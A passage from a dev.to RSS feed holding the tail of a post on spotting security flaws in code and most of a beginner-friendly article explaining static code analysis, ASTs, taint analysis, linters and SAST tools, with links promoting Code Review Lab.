  Beyond the Top Ten: Other Critical Areas
&lt;/h3&gt;

&lt;p&gt;While the OWASP Top Ten is an excellent starting point, security flaws in 2026 often involve more specialized vectors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;LLM Prompt Injection:&lt;/strong&gt; As AI integration becomes standard, developers must learn how to protect their applications from malicious prompts. You can explore the &lt;a href="https://www.codereviewlab.com/learning/prompt-injection" rel="noopener noreferrer"&gt;LLM Prompt Injection learn module&lt;/a&gt; to understand how to sandbox and sanitize AI interactions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Business Logic Flaws:&lt;/strong&gt; These are vulnerabilities that arise from a misunderstanding or misimplementation of the intended business rules.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Race Conditions:&lt;/strong&gt; These occur when the outcome of a computation depends on the timing of events.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Developing a Security-First Mindset
&lt;/h2&gt;

&lt;p&gt;Beyond knowing &lt;em&gt;what&lt;/em&gt; to look for, the most crucial aspect of spotting security flaws is cultivating a &lt;em&gt;mindset&lt;/em&gt; that prioritizes security at every stage.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attacker's Perspective
&lt;/h3&gt;

&lt;p&gt;To effectively find vulnerabilities, you must train yourself to think adversarially. Imagine you are an attacker trying to break into the system. What are the weakest points? Where can you input unexpected data?&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Techniques for Spotting Flaws
&lt;/h2&gt;

&lt;p&gt;Once you have the foundational knowledge, you can employ various techniques to actively hunt for vulnerabilities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Code Review: The Human Touch
&lt;/h3&gt;

&lt;p&gt;Manual code review is one of the most effective ways to find security flaws, especially complex ones like &lt;a href="https://www.codereviewlab.com/learning/second-order-vulnerabilities" rel="noopener noreferrer"&gt;second-order vulnerabilities&lt;/a&gt;, where malicious input is stored and later executed in a different context.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Focus Areas During Review:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Input Validation:&lt;/strong&gt; Is data sanitized at every entry point?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication and Authorization:&lt;/strong&gt; Are permissions checked consistently?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Error Handling:&lt;/strong&gt; Do error messages reveal too much?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Third-Party Libraries:&lt;/strong&gt; Are dependencies up-to-date?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Static and Dynamic Testing (SAST &amp;amp; DAST)
&lt;/h3&gt;

&lt;p&gt;SAST tools analyze source code without executing it, while DAST tools interact with a running application. While these tools are powerful, they are often used in conjunction with interactive learning to help developers understand &lt;em&gt;why&lt;/em&gt; a certain pattern is flagged.&lt;/p&gt;

&lt;h2&gt;
  
  
  Staying Ahead: Continuous Learning and Adaptation
&lt;/h2&gt;

&lt;p&gt;The threat landscape is constantly evolving, and so must your skills. To remain effective at spotting security flaws, continuous learning and adaptation are essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Importance of Continuous Education
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stay Updated on New Vulnerabilities:&lt;/strong&gt; Follow security news and research papers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Practice Regularly:&lt;/strong&gt; The more you practice analyzing code, the better you will become. You can find a wide range of hands-on scenarios in the &lt;a href="https://www.codereviewlab.com/learning" rel="noopener noreferrer"&gt;Code Review Lab Learn section&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interactive Challenges:&lt;/strong&gt; Theory is great, but application is better. Engaging with &lt;a href="https://www.codereviewlab.com/challenges" rel="noopener noreferrer"&gt;security challenges&lt;/a&gt; allows you to test your skills in a safe, simulated environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In 2026, the ability to proactively identify and remediate security flaws in code is a non-negotiable skill. By building a strong foundation, cultivating an attacker's mindset, and committing to continuous improvement, you can significantly enhance your effectiveness. Remember, security is not a destination but an ongoing journey. Embracing a security-first culture will not only protect your applications but also build trust with your users in an increasingly complex digital world.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is the most common type of security flaw in code?
&lt;/h3&gt;

&lt;p&gt;While the landscape evolves, &lt;em&gt;injection&lt;/em&gt; flaws consistently rank among the most common. These occur when untrusted data is not properly validated, allowing attackers to execute malicious commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  How can I start learning to spot security flaws if I'm a beginner?
&lt;/h3&gt;

&lt;p&gt;Begin by familiarizing yourself with the OWASP Top Ten. Practice secure coding principles daily, and use interactive platforms to see real-world examples of vulnerable code and how to fix them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Are automated tools sufficient for finding all security flaws?
&lt;/h3&gt;

&lt;p&gt;No. Automated tools are excellent for identifying common patterns, but they often struggle with complex business logic flaws or architectural weaknesses. Manual code reviews remain essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the difference between SAST and DAST?
&lt;/h3&gt;

&lt;p&gt;SAST (Static) analyzes code without running it, catching flaws early in the dev cycle. DAST (Dynamic) tests a running application, observing its responses to malformed requests.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>beginners</category>
      <category>security</category>
    </item>
    <item>
      <title>What Is Static Code Analysis and How Does It Work</title>
      <dc:creator>Stefan</dc:creator>
      <pubDate>Thu, 26 Feb 2026 13:52:01 +0000</pubDate>
      <link>https://dev.to/securitystefan/what-is-static-code-analysis-and-how-does-it-work-2b0l</link>
      <guid>https://dev.to/securitystefan/what-is-static-code-analysis-and-how-does-it-work-2b0l</guid>
      <description>&lt;p&gt;If you’ve ever had someone proofread a document for you, you already understand the basic idea behind static code analysis. It’s like an automated, hyper-vigilant editor for your source code, meticulously scanning every line for bugs, security flaws, and style issues &lt;em&gt;before&lt;/em&gt; the program is ever run.&lt;/p&gt;

&lt;p&gt;This proactive approach is all about catching mistakes early, helping development teams ship higher-quality, more secure software without slowing down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Your Code's Automated Security Guardian
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqamefmvf5emk8dmnrh60.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqamefmvf5emk8dmnrh60.jpg" alt="A figurine of a man in a suit looks at a laptop displaying programming code, symbolizing code security." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Think about what a good editor does. They don't just fix typos. They point out plot holes, weak arguments, and confusing sentences. Static code analysis tools do the same thing for developers, acting as a tireless guardian that inspects code quality from the inside out.&lt;/p&gt;

&lt;p&gt;Instead of waiting for an application to crash or for a security breach to reveal a hidden vulnerability, these tools analyze the code's structure and logic to predict where it might fail. When the focus is squarely on security, this practice is often called &lt;strong&gt;Static Application Security Testing (SAST)&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  How It Works at a High Level
&lt;/h3&gt;

&lt;p&gt;At its core, static analysis automates what would otherwise be a painfully slow and error-prone manual code review. A static analysis tool scans your files, directories, or entire repositories, comparing your code against a massive, predefined set of rules.&lt;/p&gt;

&lt;p&gt;These rules cover a huge range of potential problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Security Vulnerabilities:&lt;/strong&gt; Looking for classic weaknesses like SQL injection, cross-site scripting (XSS), and hardcoded secrets.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Code Quality Bugs:&lt;/strong&gt; Finding things that will eventually cause crashes, like null pointer exceptions, resource leaks, or dead code that can never be reached.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Style and Convention Issues:&lt;/strong&gt; Enforcing team-wide standards for formatting, naming conventions, and code complexity to keep the codebase maintainable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The real power here is speed and timing. By plugging these checks directly into a developer's workflow—right in their editor or as part of the continuous integration pipeline—issues are caught moments after being written. This "shift-left" philosophy is incredibly effective.&lt;/p&gt;

&lt;p&gt;In fact, static code analysis can help detect up to &lt;strong&gt;85% of security vulnerabilities&lt;/strong&gt; before code is ever deployed. The cost savings are just as massive, as fixing a bug in development can be up to &lt;strong&gt;100x&lt;/strong&gt; cheaper than fixing it in production. This effectiveness is driving huge growth in the market, with projections showing a value of &lt;strong&gt;USD 1,956.42 million by 2032&lt;/strong&gt; as more teams embrace modern DevOps practices. For a deeper dive into market trends, you can explore reports on the growing demand for static analysis tools.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;By treating code as data, static analysis gives you a blueprint of potential problems. It allows your team to build security and quality directly into the development lifecycle, not bolt them on as an afterthought.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The following table breaks down the core attributes of static code analysis into a quick, at-a-glance summary.&lt;/p&gt;

&lt;h3&gt;
  
  
  Static Code Analysis at a Glance
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Analysis is performed on source code without running the application.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Timing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Happens early in the SDLC, often in the developer's IDE or CI pipeline.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Focuses on the code's internal structure, logic, and potential flaws.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Feedback&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Provides immediate, automated feedback to developers, enabling quick fixes.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In short, it’s a non-negotiable tool for any team serious about building robust and secure software efficiently.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Static Analysis Tools Read Your Code
&lt;/h2&gt;

&lt;p&gt;To really get what static code analysis is all about, we need to peek under the hood. It’s not some black magic; it's a methodical process of deconstruction and inspection. A static analysis tool doesn’t just read your code like a text file. It dissects it to understand its structure, logic, and potential execution paths—all without ever running the program.&lt;/p&gt;

&lt;p&gt;The first step is parsing. The tool scans your source code and breaks it down, transforming it into a data structure that represents its grammar and logic. The most important structure it builds is the &lt;strong&gt;Abstract Syntax Tree (AST)&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the Code's Blueprint: The Abstract Syntax Tree
&lt;/h3&gt;

&lt;p&gt;Imagine your code is a finished house. An Abstract Syntax Tree is like the detailed architectural blueprint for that house. It's a hierarchical tree that maps out every single piece of your code—variables, functions, loops, and conditional statements—and shows exactly how they relate to one another.&lt;/p&gt;

&lt;p&gt;For example, a simple line of code like &lt;code&gt;var result = 10 + x;&lt;/code&gt; gets broken down into a tree. You’d have a root node for the variable declaration, with branches for the variable name (&lt;code&gt;result&lt;/code&gt;) and its assigned value. That value branch would then split again for the addition operator (&lt;code&gt;+&lt;/code&gt;) and its two operands (&lt;code&gt;10&lt;/code&gt; and &lt;code&gt;x&lt;/code&gt;).&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The AST is the foundation for nearly all advanced analysis. By turning messy, text-based code into a structured, queryable format, the tool can finally begin its real detective work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This blueprint is crucial. It gives the analysis engine a perfect, unambiguous model of your program’s structure. With the AST in hand, the tool can now apply more sophisticated techniques to hunt for subtle and dangerous bugs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tracing the Flow of Data and Logic
&lt;/h3&gt;

&lt;p&gt;Once the AST is built, the tool moves on to even more powerful analysis methods. Two of the most important are data flow analysis and control flow analysis.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Control Flow Analysis:&lt;/strong&gt; This technique builds a &lt;strong&gt;Control Flow Graph (CFG)&lt;/strong&gt;, which is like a roadmap of all possible execution paths your program could take. It shows every decision point (like an &lt;code&gt;if&lt;/code&gt; statement) and every loop, tracing all the potential highways and byways. This is great for spotting unreachable "dead code" or infinite loops.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data Flow Analysis:&lt;/strong&gt; This is where things get really interesting for security. Data flow analysis tracks how information moves through your application. It’s particularly focused on a technique called &lt;strong&gt;taint analysis&lt;/strong&gt;, which is like tracing a contaminated water supply from its source all the way to your faucet.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Following the Trail with Taint Analysis
&lt;/h3&gt;

&lt;p&gt;Taint analysis is a specialized form of data flow analysis built for security. It works by labeling any data from an untrusted origin—like user input from a web form—as "tainted." The tool then follows this tainted data as it travels through the application.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Source:&lt;/strong&gt; This is the entry point where untrusted data gets into your application. It could be an HTTP request parameter, a database query result, or data read from a file. A user's input into a search bar is a classic source.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Propagation:&lt;/strong&gt; The tool watches as this tainted data is assigned to variables, passed between functions, and manipulated inside the code. It keeps track of everywhere the "contaminated" data goes.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Sink:&lt;/strong&gt; This is a potentially dangerous function or operation where tainted data could cause real harm if it hasn't been cleaned up. A database query function is the perfect example. If raw, tainted user input makes it to this sink, you could be looking at a &lt;a href="https://www.codereviewlab.com/learning/sql-injection/" rel="noopener noreferrer"&gt;SQL injection attack&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The static analysis tool raises an alarm when it finds a path where tainted data reaches a sensitive sink without first passing through a &lt;strong&gt;sanitizer&lt;/strong&gt;—a function that cleanses or validates the data.&lt;/p&gt;

&lt;p&gt;By automating this tracking process across the entire codebase, static analysis can uncover complex vulnerabilities that would be nearly impossible for a person to spot through manual review alone. This methodical, inside-out approach is what makes static code analysis a cornerstone of modern, secure development.&lt;/p&gt;

&lt;p&gt;To really get a handle on static code analysis, you have to see where it fits in the bigger picture of software quality. Checking code for security and quality issues isn't a one-size-fits-all job. Different methods are designed to catch different problems at different times. The three main pillars of code validation are &lt;strong&gt;static analysis&lt;/strong&gt;, &lt;strong&gt;dynamic analysis&lt;/strong&gt;, and &lt;strong&gt;manual code review&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's use a simple analogy to make this crystal clear.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Imagine you're in charge of building a new skyscraper. &lt;strong&gt;Static analysis&lt;/strong&gt; is like an engineer poring over the architectural blueprints before a single steel beam is laid. They're looking for structural miscalculations, weak points, and design flaws based on the plans alone.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This "white-box" approach inspects the internal structure of your code without ever running it. It's incredibly fast, happens right at the beginning of the development process, and can cover the entire codebase in minutes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Dynamic Analysis: The Stress Test
&lt;/h3&gt;

&lt;p&gt;Now, once the skyscraper is built, you need to know if it can handle real-world conditions. &lt;strong&gt;Dynamic analysis&lt;/strong&gt; is like putting the finished building through a simulated earthquake or a Category 5 hurricane. This stress test reveals how the structure actually behaves under pressure, uncovering problems that are impossible to spot on a blueprint.&lt;/p&gt;

&lt;p&gt;This "black-box" method, often called Dynamic Application Security Testing (DAST) in a security context, tests the &lt;em&gt;running&lt;/em&gt; application from the outside. It hurls various inputs and simulated attacks at your application to see how it responds, making it fantastic at finding runtime errors and vulnerabilities that only surface when all the pieces are working together.&lt;/p&gt;

&lt;p&gt;This diagram shows the basic flow of how a static analysis tool actually "reads" your code to perform its blueprint review.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feghsg73s0beylimgkrp0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feghsg73s0beylimgkrp0.jpg" alt="A concept map illustrating code analysis: a code file parses into an Abstract Syntax Tree (AST), which is then analyzed to produce insights." width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The tool transforms raw source code into a structured model called an Abstract Syntax Tree (AST). This is what enables the deep, automated inspection that forms the core of static analysis.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Code Review: The Expert Walkthrough
&lt;/h3&gt;

&lt;p&gt;Finally, even with blueprint reviews and stress tests, nothing replaces human expertise. &lt;strong&gt;Manual code review&lt;/strong&gt; is the master architect walking through the newly constructed skyscraper. They bring years of experience and a deep understanding of context that no automated tool can replicate.&lt;/p&gt;

&lt;p&gt;An architect might notice that while a hallway is structurally sound (passing static analysis) and can handle foot traffic (passing dynamic analysis), its awkward placement creates a major bottleneck for emergency exits. This is a business logic flaw—something tools just can't see. A human reviewer is unmatched at finding complex logic errors, architectural weaknesses, and subtle security bugs that depend on understanding the app's real purpose.&lt;/p&gt;

&lt;p&gt;Each of these methods has its place. A modern, robust quality program doesn't pick just one; it layers them together. For a deeper dive, check out our complete guide comparing &lt;a href="https://www.codereviewlab.com/learning/sast-vs-dast" rel="noopener noreferrer"&gt;&lt;strong&gt;SAST vs DAST&lt;/strong&gt;&lt;/a&gt; and see how they work together.&lt;/p&gt;

&lt;p&gt;To help you decide which tool to reach for, here’s a side-by-side comparison of the three approaches.&lt;/p&gt;

&lt;h3&gt;
  
  
  Comparing Code Validation Methods
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;When It's Performed&lt;/th&gt;
&lt;th&gt;What It Finds Best&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Static Analysis (SAST)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Early in the SDLC, before code is compiled or run (e.g., in the IDE, on commit).&lt;/td&gt;
&lt;td&gt;Code quality issues, security vulnerabilities with a known signature (SQL injection, XSS), style violations.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Fast feedback&lt;/strong&gt;, covers &lt;strong&gt;100% of the codebase&lt;/strong&gt;, cost-effective to fix bugs early.&lt;/td&gt;
&lt;td&gt;Can produce &lt;strong&gt;false positives&lt;/strong&gt;, cannot find runtime or environment-specific errors.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dynamic Analysis (DAST)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Later in the SDLC, on a running application in a test or staging environment.&lt;/td&gt;
&lt;td&gt;Runtime errors (memory leaks), server configuration issues, authentication problems.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Low false positive rate&lt;/strong&gt;, finds real-world vulnerabilities, environment-aware.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;No code coverage visibility&lt;/strong&gt;, cannot pinpoint the exact line of vulnerable code, slower feedback loop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Manual Code Review&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Throughout the SDLC, often before merging new features.&lt;/td&gt;
&lt;td&gt;Business logic flaws, complex architectural issues, subtle security vulnerabilities missed by tools.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Deep contextual understanding&lt;/strong&gt;, finds novel or complex bugs, great for mentoring.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Slow and expensive&lt;/strong&gt;, dependent on reviewer skill, not scalable for entire codebase.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In the end, automated tools like static and dynamic analysis give you the scale and speed needed for modern development. Manual review provides the deep, contextual insight that only a human expert can. A truly secure organization uses all three in concert, creating a layered defense against both common bugs and sophisticated attacks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Decoding Your Static Analysis Toolkit
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibts4afo7g1ig04y51ab.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibts4afo7g1ig04y51ab.jpg" alt="A laptop displaying " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The term "static analysis" isn't one-size-fits-all. It’s really an umbrella for a whole family of tools, each with a very specific job. Knowing the difference is crucial for building a quality and security program that actually works—one that keeps your codebase clean, consistent, and secure without drowning your team in noise.&lt;/p&gt;

&lt;p&gt;Think of it like assembling a pit crew for your code. You wouldn't ask your tire changer to rebuild the engine, right? The main players you'll need are &lt;strong&gt;formatters&lt;/strong&gt;, &lt;strong&gt;linters&lt;/strong&gt;, and full-blown &lt;strong&gt;Static Application Security Testing (SAST)&lt;/strong&gt; tools. Each role is distinct, but they're all vital.&lt;/p&gt;

&lt;h3&gt;
  
  
  Code Formatters: The Style Enforcers
&lt;/h3&gt;

&lt;p&gt;At the most basic level, you have &lt;strong&gt;code formatters&lt;/strong&gt;. These are the simplest tools in the box, with one clear goal: enforcing a consistent coding style across the entire project. A formatter doesn't care about your code's logic or security; it only cares about how it looks.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;What they do:&lt;/strong&gt; Automatically rewrite your code to match a predefined style guide. This means fixing indentation, standardizing spacing, ensuring proper line breaks, and deciding between single or double quotes.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Analogy:&lt;/strong&gt; A code formatter is like a strict document template. It automatically adjusts margins, fonts, and heading styles so every page looks uniform, no matter who wrote it.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Popular Examples:&lt;/strong&gt; &lt;a href="https://prettier.io/" rel="noopener noreferrer"&gt;Prettier&lt;/a&gt;, &lt;a href="https://github.com/psf/black" rel="noopener noreferrer"&gt;Black&lt;/a&gt; (for Python), &lt;a href="https://pkg.go.dev/cmd/gofmt" rel="noopener noreferrer"&gt;gofmt&lt;/a&gt; (for Go).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By automating these stylistic choices, formatters put an end to pointless code review arguments over tabs versus spaces. This frees up developers to focus on what the code &lt;em&gt;does&lt;/em&gt;, not what it &lt;em&gt;looks&lt;/em&gt; like.&lt;/p&gt;

&lt;h3&gt;
  
  
  Linters: The Grammar and Syntax Checkers
&lt;/h3&gt;

&lt;p&gt;Moving up a level in sophistication, we find &lt;strong&gt;linters&lt;/strong&gt;. A linter goes a step beyond a simple formatter. It not only checks for style but also analyzes your code for programmatic errors, potential bugs, and violations of established best practices.&lt;/p&gt;

&lt;p&gt;If a formatter is your style guide, a linter is your grammar checker. It flags awkward phrasing or potential typos that could change the meaning. In code, this translates to finding unused variables, unreachable code blocks, or using a variable before it’s been defined.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A linter acts as an immediate feedback loop for a developer, catching common mistakes and "code smells" that can lead to bugs or make the code difficult to maintain. It's the first line of defense against low-level quality issues.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Many linters can also handle formatting, but their primary purpose is to improve the &lt;em&gt;correctness and quality&lt;/em&gt; of the code itself.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Popular Examples:&lt;/strong&gt; &lt;a href="https://eslint.org/" rel="noopener noreferrer"&gt;ESLint&lt;/a&gt; (for JavaScript), &lt;a href="https://pylint.pycqa.org/en/latest/" rel="noopener noreferrer"&gt;Pylint&lt;/a&gt; (for Python), &lt;a href="https://rubocop.org/" rel="noopener noreferrer"&gt;RuboCop&lt;/a&gt; (for Ruby).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  SAST Tools: The Security Auditors
&lt;/h3&gt;

&lt;p&gt;At the top of the hierarchy sit &lt;strong&gt;Static Application Security Testing (SAST)&lt;/strong&gt; tools. While a linter might occasionally flag a security-adjacent issue, SAST tools are specialized security auditors designed to hunt for serious vulnerabilities. They perform a much deeper analysis, often using the complex data flow and taint analysis techniques we covered earlier.&lt;/p&gt;

&lt;p&gt;A SAST tool is like hiring a forensic accountant to audit your company’s books. They aren't just checking for typos; they are tracing every transaction to uncover fraud and systemic risks. In the same way, a SAST tool traces the flow of data through your application to find vulnerabilities like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  SQL Injection&lt;/li&gt;
&lt;li&gt;  Cross-Site Scripting (XSS)&lt;/li&gt;
&lt;li&gt;  Insecure Deserialization&lt;/li&gt;
&lt;li&gt;  Hardcoded Passwords and API Keys&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These tools are built with a deep understanding of the &lt;a href="https://cwe.mitre.org/" rel="noopener noreferrer"&gt;Common Weakness Enumeration (CWE)&lt;/a&gt;, the industry's formal list of software weaknesses. The demand for these powerful security tools is booming, with the static code analysis market projected to grow from &lt;strong&gt;USD 1.36 billion in 2026 to USD 2.45 billion by 2035&lt;/strong&gt;. You can find more on this trend by checking out the &lt;a href="https://www.globalgrowthinsights.com/market-reports/static-code-analysis-tools-market-105674" rel="noopener noreferrer"&gt;latest insights on the static code analysis tools market&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Leading SAST tools offer a huge range of capabilities. If you're just starting, you can get a good feel for the landscape with our &lt;a href="https://www.codereviewlab.com/learning/free-sast-tools" rel="noopener noreferrer"&gt;guide on free SAST tools&lt;/a&gt;. By combining these different tools, you create a layered defense that catches everything from minor style inconsistencies to critical security flaws, building a much healthier and more resilient codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Integrating Static Analysis into Your Workflow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzo4m7xh4xa4tsyv0xdq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frzo4m7xh4xa4tsyv0xdq.jpg" alt="A person typing code on a laptop screen with the text 'SHIFT LEFT' visible on a white wall." width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Static analysis tools deliver the most bang for your buck when they operate seamlessly within the natural rhythm of your development process. The whole point is to make security and quality checks an invisible, frictionless habit—not a disruptive bottleneck that everyone dreads. You get there by weaving these tools directly into your &lt;strong&gt;Continuous Integration/Continuous Deployment (CI/CD)&lt;/strong&gt; pipeline and, just as importantly, into the developer's local environment.&lt;/p&gt;

&lt;p&gt;This approach is the heart of the &lt;strong&gt;"shift-left" philosophy&lt;/strong&gt;. Instead of discovering a vulnerability weeks later in a staging environment, you find it minutes after the code is written. Fixing a bug at that stage is infinitely cheaper and faster than dealing with it right before a release.&lt;/p&gt;

&lt;p&gt;A truly effective setup creates a layered defense that automates feedback at several key points. This empowers developers to own security without slowing them down, turning what could be a chore into a powerful, proactive practice.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating an Automated Feedback Loop
&lt;/h3&gt;

&lt;p&gt;The best integrations are the ones that bring results directly to developers, right where they already work. Nobody wants to go hunting for a separate report on a different platform.&lt;/p&gt;

&lt;p&gt;The ideal feedback loop starts right inside the developer's Integrated Development Environment (IDE). Many static analysis tools offer plugins that scan code in real-time, highlighting potential issues just like a spell checker. This is your first and fastest line of defense.&lt;/p&gt;

